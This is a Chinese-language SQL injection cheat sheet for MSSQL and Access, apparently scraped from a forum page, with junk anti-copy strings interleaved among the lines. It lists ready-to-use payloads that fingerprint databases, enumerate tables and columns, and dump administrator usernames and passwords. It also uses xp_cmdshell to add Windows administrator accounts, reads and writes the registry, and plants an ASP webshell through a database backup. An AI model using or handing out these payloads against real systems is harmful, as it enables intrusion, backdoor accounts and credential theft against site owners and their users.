1.判断是否有注入
8 N7 B1 T' e$ k4 T$ ]4 y. d;and 1=1 + o6 h0 d- C& m# R! Y1 m
;and 1=2
: o/ S% E) P' J
8 f# ?1 H+ v, x$ _6 i2.初步判断是否是mssql 4 a' ~, w3 j- n# {9 a z
;and user>0 7 e5 v5 f8 z$ N: R6 x( o# ?
5 p% V1 E1 Z" k; A
3.判断数据库系统
4 B' d& F2 ]3 u4 x;and (select count(*) from sysobjects)>0 mssql 9 g1 j n H9 ?0 X' u( h5 G' V
;and (select count(*) from msysobjects)>0 access / |0 ?+ q9 w; E; M! @( f
0 d4 _4 r9 S* Z1 J+ M. v7 H5 C4.注入参数是字符 ' }9 m5 s6 q; ^: G- ]5 s9 H
'and [查询条件] and ''=' 4 Y; E* Q8 l4 V) g* S7 D( `1 J) F
- o. V- ]/ d8 Q3 i5.搜索时没过滤参数的
" a6 a, Q0 \: T* b# o2 M3 R3 r7 `'and [查询条件] and '%25'='
7 x3 d+ Y! V: W9 g2 x$ C* {
6 h& m: U& ]6 j8 y& L5 B7 g6.猜数表名
% W) X0 a [' D+ v# |, v;and (select Count(*) from [表名])>0 " u* z3 K' j' w
; w- M& a$ e1 c3 u1 m7.猜字段 4 ^' L( P' w c5 j
;and (select Count(字段名) from 表名)>0
' k* c; K m- j: k6 N$ x- J7 o; \
$ [! P p3 K( P) ^8.猜字段中记录长度 3 b) a+ G8 c. J5 S
;and (select top 1 len(字段名) from 表名)>0
6 _- k- P4 f" c' y/ w
. n r4 L- q2 W! O3 Q g: p9 l9.(1)猜字段的ascii值(access) {( {6 F( [ c7 N5 M1 T
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 ) x/ l g# \7 x7 D
3 r/ D1 ]3 @7 q1 h6 A1 `(2)猜字段的ascii值(mssql)
/ n8 d0 D& u; j0 i;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 9 k# b- V# w" F- a0 x% I
$ [' P6 T' v3 q$ W" U' a9 ]10.测试权限结构(mssql)
( X! e5 C7 M7 \4 e) I* L8 ~;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
4 Z& X; A8 R6 ?& m- b;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 6 K& Y7 F! f, f4 T0 L3 D
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 4 q4 C" c8 \2 x2 ]
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
Y6 h- ?8 `! e5 w) p2 U;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- * S: {3 @& i* D6 W. Z4 P1 U
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
" i# n9 |( t$ w5 x* H" O4 c% ];and 1=(select IS_MEMBER('db_owner'));-- 8 T. W) K8 B6 B8 w( [8 F
, R4 M6 s& v. O& u* A
11.添加mssql和系统的帐户 2 v3 A8 Q' k4 Q9 q8 j
;exec master.dbo.sp_addlogin username;-- . \* w; `! i1 A/ e; m& v
;exec master.dbo.sp_password null,username,password;-- * ~% }( U/ k( l ^ l( o, o: F
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- : i# J! H. N9 T4 O
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 1 d, J- g6 R- [' G( ^/ ?. z4 o9 J" j
;exec master.dbo.xp_cmdshell 'net user username password /add';--
. p& w' g$ J: E1 @- v: q1 X;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 1 K k7 D" y9 Q* `+ K- G; V
' S8 ~2 U, j3 H, {5 {7 E6 v
12.(1)遍历目录
2 _: r. k! X/ q/ X& L;create table dirs(paths varchar(100), id int) / X1 i% b) J0 O2 @
;insert dirs exec master.dbo.xp_dirtree 'c:\'
. s! \( c: z: c" c2 M% c;and (select top 1 paths from dirs)>0
1 `9 w* y; P: \6 Q6 m0 U;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
7 s0 ~' D4 |% T7 r" R0 Q* f+ ?5 K
4 N; u$ s9 G( U/ \(2)遍历目录 " y X8 h+ H# _8 {% r* y
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
' w( O ?% h+ c;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
: Y% F& X' u7 @;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 " ?3 a% R# n- ?6 w1 ~8 n& G% D
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 ' N( q" ]& _! S; L9 q4 `7 K
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
' d6 S" P7 w1 a& Y" R) W+ C1 G; l9 |/ u6 A `& w3 U0 N/ h
13.mssql中的存储过程 ; n( Y& M, u. v* r2 T: }5 P
xp_regenumvalues 注册表根键, 子键 9 p" S. p9 n2 q
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 2 u4 ^# W& e. @7 E6 e( P
xp_regread 根键,子键,键值名 : M/ {- n; ~. ]6 N4 P0 f
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 , B6 w& Y/ j* @, x2 [* K
xp_regwrite 根键,子键, 值名, 值类型, 值 4 y5 J" C9 @- N" R7 m
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ' m1 B8 ?5 Q& d* I0 i) ?. ?& j
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 6 Y G; q5 U" z2 ] |0 w
xp_regdeletevalue 根键,子键,值名
+ T e& K% i, r2 F4 W$ i8 F& @4 bexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
/ `& q: Y+ H8 j0 t& n: m3 Kxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
4 O* q7 X/ z7 D( \& G* m& S( u c7 x4 u0 Z r; k
14.mssql的backup创建webshell
9 K% T+ {2 ^2 p' zuse model 5 X6 ^: Z+ l' B" t% c* t5 h! |; N
create table cmd(str image);
/ g8 w# ^( z2 D( oinsert into cmd(str) values ('<% Dim oScript %>'); + L! l |- X6 T7 q
backup database model to disk='c:\l.asp';
O, e+ _4 E/ F8 D
) T9 ~+ F' v U; R8 X. z: ]15.mssql内置函数
9 }, m; v! a2 m9 j;and (select @@version)>0 获得Windows的版本号 $ F8 I. J4 _0 j. K
;and user_name()='dbo' 判断当前系统的连接用户是不是sa r6 S. `2 t1 h3 Z8 U' A
;and (select user_name())>0 爆当前系统的连接用户 . r& v5 J) J5 q/ g) n1 g0 S% e! L
;and (select db_name())>0 得到当前连接的数据库
& u& U7 S0 [! N# K6 [) L5 [1 W& W7 i' b, D8 C. E: @1 s0 H' H. g
( A3 y1 q Q+ \1 U( T8 z1 g% Y6 J" L2 B" ]; t
MSSQL手注暴库
a$ c& J' K }5 ~$ {* U9 [ o6 m i$ [* U' ^: B3 h% Y0 _4 a
1.暴出当前表名和列名
0 |9 O8 Q9 `1 i+ e: a7 z在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
2 n; }1 a, m$ m, m3 g( }: J5 y! [7 X; ]
第一.爆出所有数据库名
; g1 A. K. K" r: B7 x1 s利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。3 L) v% ?3 R1 Q* K
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
O4 p$ m0 O6 {1 M7 L1 R
& }( `+ `. \! x. l b) N+ q+ ]0 q* @and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
3 X! X6 k+ I6 i
0 _- l5 a* v0 {9 m. j' g$ ], v5 f) v" B2 c# X
第二.爆出指定库中的所有表名& o4 X4 F; A) `; ~9 v9 ]
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
+ i# u1 p; e' x9 s6 U P" e6 }再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
0 y ?4 H# \" {3 D9 C; q
% ^0 c9 L [/ B( G4 u5 x9 }and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
& t( o( L& @5 p& v1 U3 yand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
( `7 a% f" o. E# o0 rand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--( ~; ~3 a3 R0 `2 V3 B
9 ~0 n. c8 A; Y. z7 v) `
4.爆出指定表中的所有列名
8 P/ g& ~5 H4 \2 `$ |4 {# S6 y1 Dand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 5 `! f& O& ^! F; X. s$ ?1 W
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'1 ^5 d$ B: o+ [; Z' U! U& r/ C
; n9 P* F9 z: `% l
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
; ]/ r3 K& B% _' Z. N4 L( u# }
8 L% ?8 l5 Q% O& c+ |再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
" F4 S! m2 G4 E, \; [依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。8 X) P* M! b8 u5 \
4 S- L7 b& A9 X& B
7 ?2 t: c( b$ W9 {; O7 t" [
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值4 y9 g8 h: e' C. z4 j4 ^
% u! U I6 }. f+ U. e2 v
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
5 B# m! o$ M( s( v/ P7 z2 C) p2 u! ]7 V. {, ~" H% n
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- / {1 l+ ]5 J( B K
& @' M F) q1 [& A( X% F' H' R2 q$ C" C/ Z# D$ V( X
1 G- F( ?2 t7 r# R2 h) `9 W5.读取指定表中的数据
) l7 Z; W6 `) s# \! w8 ?2 ^2 G P8 q$ U6 i% k
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
. ^/ k3 g" H/ M; F# z7 k) I
8 V1 ?" z1 |: C0 @) qand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--9 y. _5 Q2 H( j: X3 u
% o' ?& x, P( i& ]$ G U9 i6 Yand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码; ?# }; Y- g. A* f4 ^
: A, o( N: M4 g
4 a2 Y" {; i1 M% _* @6 c/ J6 o8 ^) tand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)
/ n( u( ~' n8 N* u, c5 E- D
$ c/ l0 Z4 ~- P3 hand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)" L w5 g2 M$ C. K# B- x* L0 L
( Q7 Y2 A2 e% ]3 _" P7 E
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--6 Q( R' s& @& n/ w
2 p7 N8 g, M6 ?) A( B% ^9 N
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
6 G U( B6 X8 U9 g |